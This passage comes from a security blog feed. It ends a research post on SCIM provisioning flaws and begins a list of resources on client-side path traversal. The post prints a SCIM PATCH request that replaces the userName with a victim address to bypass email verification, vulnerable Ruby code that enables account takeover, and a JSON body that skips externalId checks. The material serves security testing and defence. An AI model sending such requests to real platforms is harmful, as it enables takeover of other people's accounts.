&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Even if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Oj&lt;/code&gt; defaults are overwritten (sorry, no deserialization) it could still be possible to put any data in the SCIM request and have it accessible through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;userData&lt;/code&gt;. The logic is assuming it will only contain SCIM attributes.&lt;/p&gt;

&lt;h3 id=&quot;verification-bypasses&quot;&gt;Verification Bypasses&lt;/h3&gt;

&lt;p&gt;This category contains all the bugs arising from &lt;em&gt;required&lt;/em&gt; internal user-management processes not being applied to updates caused by SCIM events (&lt;em&gt;e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phone&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;userName&lt;/code&gt; verification&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;An interesting related finding is &lt;a href=&quot;https://hackerone.com/reports/565883&quot; target=&quot;_blank&quot;&gt;Gitlab Bypass Email Verification (CVE-2019-5473)&lt;/a&gt;. We have found similar cases involving the bypass of a code verification processes during our assessments as well.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[*] Example - Same-Same But With Code Bypass&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A SCIM email change did not trigger the typical confirmation flow requested with other email change operations.&lt;/p&gt;

&lt;p&gt;Attackers could request a verification code to their email, change the email to a victim one with SCIM, then redeem the code and thus verify the &lt;em&gt;new&lt;/em&gt; email address.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    PATCH /scim/v2/&amp;lt;ATTACKER_SAML_ORG_ID&amp;gt;/&amp;lt;ATTACKER_USER_SCIM_ID&amp;gt; HTTP/2
    Host: &amp;lt;CLIENT_PLATFORM&amp;gt;
    Authorization: Bearer &amp;lt;SCIM_TOKEN&amp;gt;
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/json
    Content-Length: 205
    
    {
      &quot;schemas&quot;: [&quot;urn:ietf:params:scim:api:messages:2.0:PatchOp&quot;],
      &quot;Operations&quot;: [
        {
          &quot;op&quot;: &quot;replace&quot;,
          &quot;value&quot;: {
            &quot;userName&quot;: &quot;&amp;lt;VICTIM_ADDRESS&amp;gt;&quot;
        }
        }
      ]
    }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;account-takeover&quot;&gt;Account Takeover&lt;/h3&gt;

&lt;p&gt;In multi-tenant platforms, the SSO-SCIM identity should be linked to an underlying user object. While it is not part of the RFCs, the management of user attributes such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;userName&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; is required to eventually trigger the platform’s processes for validation and ownership checks.&lt;/p&gt;

&lt;p&gt;A public example case where things did not go well while updating the underlying user is &lt;a href=&quot;https://gitlab.com/gitlab-org/gitlab/-/issues/363058&quot; target=&quot;_blank&quot;&gt;CVE-2022-1680 - Gitlab Account take over via SCIM email change&lt;/a&gt;. Below is a pretty similar instance discovered in one of our clients.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[*] Example - Same-Same But Different&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A client permitted SCIM operations to change the email of the user and perform account takeover.
The function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set_username&lt;/code&gt; was called every time there was a creation or update of SCIM users.&lt;/p&gt;
&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        &lt;span class=&quot;c1&quot;&gt;#[...]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;underlying_user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sso_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;underlying_user&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sso_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;scim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;userName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_name&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;sso_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_name&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tenant&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Tenant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sso_user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;underlying_user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;change_email!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;new_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;ss&quot;&gt;validate_email: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tenant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isAuthzed?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;underlying_user&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tenant&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isAuthzed?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# [...]&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;#                                   (o)__(o)' &lt;/span&gt;
            &lt;span class=&quot;vi&quot;&gt;@underlying_user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find_by&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;email: &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;underlying_user&lt;/code&gt; should be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt;, hence blocking the change, if the organization is not entitled to manage the user according to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isAuthzed&lt;/code&gt;. In our specific case, the authorization function did not protect users in a specific state from being taken over. SCIM could be used to forcefully change the victim user’s email and take over the account once it was added to the tenant. If combined with the classic &lt;em&gt;“Forced Tenant Join”&lt;/em&gt; issue, a nice chain could have been made.&lt;/p&gt;

&lt;p&gt;Moreover, since the platform did not protect against multi-SSO context-switching, once authenticated with the new email, the attacker could have access to all other tenants the user was part of. &lt;/p&gt;

&lt;h2 id=&quot;extra-focus-areas&quot;&gt;Extra Focus Areas&lt;/h2&gt;

&lt;h3 id=&quot;interesting-scim-ops-syntax&quot;&gt;Interesting SCIM Ops Syntax&lt;/h3&gt;

&lt;p&gt;As per &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7644#section-3.5.2&quot; target=&quot;_blank&quot;&gt;rfc7644&lt;/a&gt;, the &lt;em&gt;Path&lt;/em&gt; attribute is defined as:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The “path” attribute value is a String containing an attribute path
   describing the target of the operation.  The “path” attribute is
   OPTIONAL for “add” and “replace” and is REQUIRED for “remove”
   operations.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;path&lt;/code&gt; attribute is &lt;em&gt;OPTIONAL&lt;/em&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt; possibility should be carefully managed when it is part of the execution logic.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;exec_scim_ops&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scim_identity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;operation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;members&quot;&lt;/span&gt;
          &lt;span class=&quot;c1&quot;&gt;# [...]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;externalId&quot;&lt;/span&gt;
          &lt;span class=&quot;c1&quot;&gt;# [...]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
          &lt;span class=&quot;c1&quot;&gt;# semi-Catch-All Logic!&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Putting a catch-all default could allow another syntax of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PatchOp&lt;/code&gt; messages to still hit one of the restricted cases while skipping the checks. Here is an example SCIM request body that would skip the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;externalId&lt;/code&gt; checks and edit it within the context above.&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;schemas&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;urn:ietf:params:scim:api:messages:2.0:PatchOp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Operations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;op&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;replace&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;externalId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;ID_INJECTION&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value&lt;/code&gt; of an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;op&lt;/code&gt; is allowed to contain a dict of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Attribute:Value&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;bulk-ops-order-evaluation&quot;&gt;Bulk Ops Order Evaluation&lt;/h3&gt;
&lt;p&gt;Since bulk operations may be supported (currently very few cases), there could be specific issues arising in those implementations:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Race Conditions&lt;/em&gt; - the ordering logic could not include reasoning about the extra processes triggered in each step&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Missing Circular References Protection&lt;/em&gt; - The &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7644#section-3.7.1&quot; target=&quot;_blank&quot;&gt;RFC7644&lt;/a&gt; is explicitly talking about Circular Reference Processing (see example below).&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/SCIM-circular-refs.png&quot; alt=&quot;SCIM&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 350px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;json-interoperability&quot;&gt;JSON Interoperability&lt;/h3&gt;

&lt;p&gt;Since SCIM adopts JSON for data representation, JSON interoperability attacks could lead to most of the issues described in the hunting list. A well-known starting point is the article: &lt;a href=&quot;https://bishopfox.com/blog/json-interoperability-vulnerabilities&quot; target=&quot;_blank&quot;&gt;An Exploration of JSON Interoperability Vulnerabilities
&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once the parsing lib used in the SCIM implementation is discovered, check if other internal logic is relying on the stored JSON serialization while using a different parser for comparisons or unmarshaling.&lt;/p&gt;

&lt;p&gt;Despite being a relatively simple format, JSON parser differentials could lead to interesting cases - such as the one below:&lt;/p&gt;
&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/scim-parsing.png&quot; alt=&quot;SCIM&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 580px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;As an extension of SSO, SCIM has the potential to enable critical exploitations under specific circumstances. If you’re testing SSO, SCIM should be in scope too!&lt;/p&gt;

&lt;p&gt;Finally, most of the interesting vulnerabilities in SCIM implementations require a deep understanding of the application’s authorization and authentication mechanisms. The real value lies in identifying the differences between &lt;em&gt;SCIM objects&lt;/em&gt; and the mapped internal &lt;em&gt;User objects&lt;/em&gt;, as these discrepancies often lead to impactful findings.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>CSPT Resources</title>
   <link href="https://blog.doyensec.com/2025/03/27/cspt-resources.html"/>
   <updated>2025-03-27T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/03/27/cspt-resources</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/CSPTResources.png&quot; alt=&quot;New CSPT toys for everyone&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;As a follow up to Maxence Schmitt’s research on &lt;strong&gt;Client-Side Path Traversal (CSPT)&lt;/strong&gt;, we wanted to encourage researchers, bug hunters, and security professionals to explore CSPT further, as it remains an underrated yet impactful attack vector.&lt;/p&gt;

&lt;p&gt;To support the community, we have compiled a list of blog posts, vulnerabilities, tools, CTF challenges, and videos related to CSPT. If anything is missing, &lt;a href=&quot;mailto:cspt@doyensec.com&quot;&gt;let us know&lt;/a&gt; and we will update the post. Please note that the list is not ranked and does not reflect the quality or importance of the resources.&lt;/p&gt;

&lt;h2 id=&quot;publications-blog-posts-advisories-&quot;&gt;Publications (blog posts, advisories, …)&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Maxence Schmitt&lt;/strong&gt;: &lt;a href=&quot;https://blog.doyensec.com/2024/07/02/cspt2csrf.html&quot;&gt;Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Maxence Schmitt&lt;/strong&gt;: &lt;a href=&quot;https://blog.doyensec.com/2025/01/09/cspt-file-upload.html&quot;&gt;CSPT &amp;amp; File Upload Bypasses&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Dafydd Stuttard&lt;/strong&gt;: &lt;a href=&quot;https://portswigger.net/blog/on-site-request-forgery&quot;&gt;PortSwigger - On-Site Request Forgery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Renwa&lt;/strong&gt;: &lt;a href=&quot;https://medium.com/@renwa/client-side-path-traversal-cspt-bug-bounty-reports-and-techniques-8ee6cd2e7ca1&quot;&gt;Client-Side Path Traversal (CSPT) Bug Bounty Reports and Techniques&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Kapytein&lt;/strong&gt;: &lt;a href=&quot;https://kapytein.nl/security/web/2023/12/17/from-an-innocent-client-side-path-traversal-to-account-takeover/&quot;&gt;From an Innocent Client-Side Path Traversal to Account Takeover&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mr. Medi&lt;/strong&gt;: &lt;a href=&quot;https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html&quot;&gt;Practical Client-Side Path Traversal Attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Alvaro Balada&lt;/strong&gt;: &lt;a href=&quot;https://medium.com/@Nightbloodz/the-power-of-client-side-path-traversal-how-i-found-and-escalated-2-bugs-through-670338afc90f&quot;&gt;The Power of Client-Side Path Traversal: How I Found and Escalated 2 Bugs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Michelin CERT&lt;/strong&gt;: &lt;a href=&quot;https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652&quot;&gt;Grafana CVE-2023-5123 Write-Up&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Netragard&lt;/strong&gt;: &lt;a href=&quot;https://netragard.com/saving-csrf-client-side-path-traversal-to-the-rescue/&quot;&gt;Saving CSRF: Client-Side Path Traversal to the Rescue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sam Curry&lt;/strong&gt;: &lt;a href=&quot;https://x.com/samwcyo/status/1437030056627523590&quot;&gt;CSPT2CSRF and CSPT-&amp;gt;Open Redirect-&amp;gt;XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Hussein Daher&lt;/strong&gt;: &lt;a href=&quot;https://x.com/HusseiN98D/status/1809164551822172616&quot;&gt;CSPT-&amp;gt;JSONP-&amp;gt;XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Ron Masas&lt;/strong&gt;: &lt;a href=&quot;https://x.com/RonMasas/status/1759603359646974386&quot;&gt;CSPT-&amp;gt;XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Isira Adithya&lt;/strong&gt;: &lt;a href=&quot;https://x.com/isira_adithya/status/1809228815002136719&quot;&gt;CSPT-&amp;gt;JSONP-&amp;gt;XSS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Johan Carlsson&lt;/strong&gt;: &lt;a href=&quot;https://x.com/joaxcar/status/1809706806647652424&quot;&gt;1 Click CSPT-&amp;gt;Stored id from a rogue Sentry server-&amp;gt;PUT CSRF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Erasec&lt;/strong&gt;: &lt;a href=&quot;https://erasec.be/blog/client-side-path-manipulation/&quot;&gt;Client-Side Path Manipulation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Acut3&lt;/strong&gt;: &lt;a href=&quot;https://acut3.net/posts/2023-01-03-fetch-diversion&quot;&gt;Fetch Diversion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Matan Berson&lt;/strong&gt;: &lt;a href=&quot;https://matanber.com/blog/cspt-levels&quot;&gt;CSPT Levels&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Facebook&lt;/strong&gt;: &lt;a href=&quot;https://www.facebook.com/notes/996734990846339/&quot;&gt;Facebook Notes on CSPT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vitor Falcão&lt;/strong&gt;: &lt;a href=&quot;https://vitorfalcao.com/posts/hacking-high-profile-targets/&quot;&gt;Hacking High-Profile Bug Bounty Targets: Deep Dive into a Client-Side Chain&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;videos&quot;&gt;Videos&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Maxence Schmitt&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=O1ZN_OCfNzg&quot;&gt;OWASP Lisbon 2024 - Exploiting Client-Side Path Traversal: CSRF Is Dead, Long Live CSRF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Maxence Schmitt&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=cv7a1B1QptI&quot;&gt;Volcamp 2024 - FR: Exploiting Client-Side Path Traversal: CSRF Is Dead, Long Live CSRF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Soheil Khodayari&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=7L4koVoZ7Uw&quot;&gt;OWASP Lisbon 2024 - Deep dive into CSPT techniques&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Justin Gardner&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/@criticalthinkingpodcast&quot;&gt;Critical Thinking Podcast Channel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Grzegorz Niedziela&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=z27bkSMARA8&quot;&gt;Bug Bounty Reports Explained Channel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tools&quot;&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Maxence Schmitt&lt;/strong&gt;: &lt;a href=&quot;https://github.com/doyensec/CSPTBurpExtension&quot;&gt;CSPT Burp Extension&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Dennis Goodlett&lt;/strong&gt;: &lt;a href=&quot;https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html&quot;&gt;CSPT with Eval Villain&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Kevin Mizu&lt;/strong&gt;: &lt;a href=&quot;https://github.com/kevin-mizu/domloggerpp&quot;&gt;DOMLoggerpp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;PortSwigger&lt;/strong&gt;: &lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/tools/dom-invader&quot;&gt;Burp Suite DOM Invader&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vitor Falcão&lt;/strong&gt;: &lt;a href=&quot;https://vitorfalcao.com/posts/automating-cspt-discovery/&quot;&gt;Automating CSPT Discovery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;challenges&quot;&gt;Challenges&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Cryptocat&lt;/strong&gt;: &lt;a href=&quot;https://challenge-0824.intigriti.io/&quot;&gt;Intigriti Challenge 0824 - SafeNotes_2&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Write-up&lt;/strong&gt;: &lt;a href=&quot;https://book.cryptocat.me/ctf-writeups/2024/intigriti/web/safenotes_2&quot;&gt;SafeNotes_2 Write-up&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Aleandro Prudenzano&lt;/strong&gt;: &lt;a href=&quot;https://github.com/ECSC2024/ECSC2024-CTF-Jeopardy/tree/main/web01&quot;&gt;European Cybersecurity Challenge 2024 CTF - Jeopardy - Web01)&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Write-up&lt;/strong&gt;: &lt;a href=&quot;https://github.com/ECSC2024/ECSC2024-CTF-Jeopardy/blob/main/web01/writeup.md&quot;&gt;European Cybersecurity Challenge 2024 CTF - Jeopardy - Web01&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;labs&quot;&gt;Labs&lt;/h2&gt;
&lt;ul&gt;
